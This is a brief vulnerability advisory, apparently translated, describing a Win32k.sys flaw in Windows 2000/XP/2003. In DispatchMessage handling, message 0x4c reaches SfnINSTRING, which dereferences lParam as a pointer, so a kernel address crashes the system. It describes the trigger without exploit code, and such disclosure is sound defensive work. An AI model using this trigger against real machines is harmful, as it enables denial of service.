Vulnerability Details: 


Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this 
function in dealing with some 
Message, will call gapfnScSendMessage this function table function to process,
which under the deal 2000/xp/2003 0x4c No. message, there will be SfnINSTRING 
function called this function when the lParam is not empty, 
direct that the lParam is a memory pointer, and pull data directly from the 
address
despite the use of the function of the SEH, but as long as the kernel address 
transmission errors will still cause the system BSOD
